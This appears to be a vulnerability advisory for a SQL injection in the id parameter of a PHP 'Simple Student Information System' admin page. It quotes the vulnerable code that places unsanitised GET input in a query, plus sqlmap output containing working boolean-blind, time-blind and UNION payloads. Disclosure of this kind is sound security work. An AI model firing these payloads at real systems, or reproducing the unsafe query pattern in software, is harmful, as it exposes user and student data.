

SQL injection vulnerability exists in id parameter of /admin/students/manage\_academic.php file of Simple Student Information System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```
1 <?php
2 require_once('.././config.php');
3 if(isset($_GET['id'])){
4     $qry = $conn->query("SELECT * FROM `academic_history` where id = '{$_GET['id']}'");
5     if($qry->num_rows > 0){
6         $res = $qry->fetch_array();
7         foreach($res as $k => $v){
8             if(!is_numeric($k))
9                 $$k = $v;
10        }
11    }else{
12        echo "<center><small class='text-muted'>Unkown Academic ID.</small></center>";
13        exit;
14    }
15 }
16 ?>
```

```
sqlmap identified the following injection point(s) with a total of 429 HTTP(s) requests:
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Parameter: id (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: course_id=1&end_status=0&id=1' AND 7717=7717 AND 'QchC'='QchC&school_year=1967&semester=1&status=3&student_id=1&year=1967
7
  Type: time-based blind
  Title: MySQL > 5.0.12 AND time-based blind (query SLEEP)
  Payload: course_id=1&end_status=0&id=1' AND (SELECT 2339 FROM (SELECT(SLEEP(5)))QuxY) AND 'Heax'='Heax&school_year=1967&semester=1&status=3&student_id=1&year=1967
  Type: UNION query
  Title: Generic UNION query (NULL) - 10 columns
  Payload: course_id=1&end_status=0&id=-3921' UNION ALL SELECT CONCAT(0x7162627671,0x5a5647734967736246635655665557765a4f674a6658706b58794c797a4769624c664d4971597a43,0x71717a6271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--&school_year=1967&semester=1&status=3&student_id=1&year=1967
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```

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Payload: course\_id=1&end\_status=0&id=1' AND 7717=7717 AND 'QchC'='QchC&school\_year=1967&semester=1&status=3&student\_id=1&year=1967

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: course\_id=1&end\_status=0&id=1' AND (SELECT 2339 FROM (SELECT(SLEEP(5)))QuxY) AND 'Heax'='Heax&school\_year=1967&semester=1&status=3&student\_id=1&year=1967

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Source Download:

<https://www.campcodes.com/projects/php/student-information-system-in-php>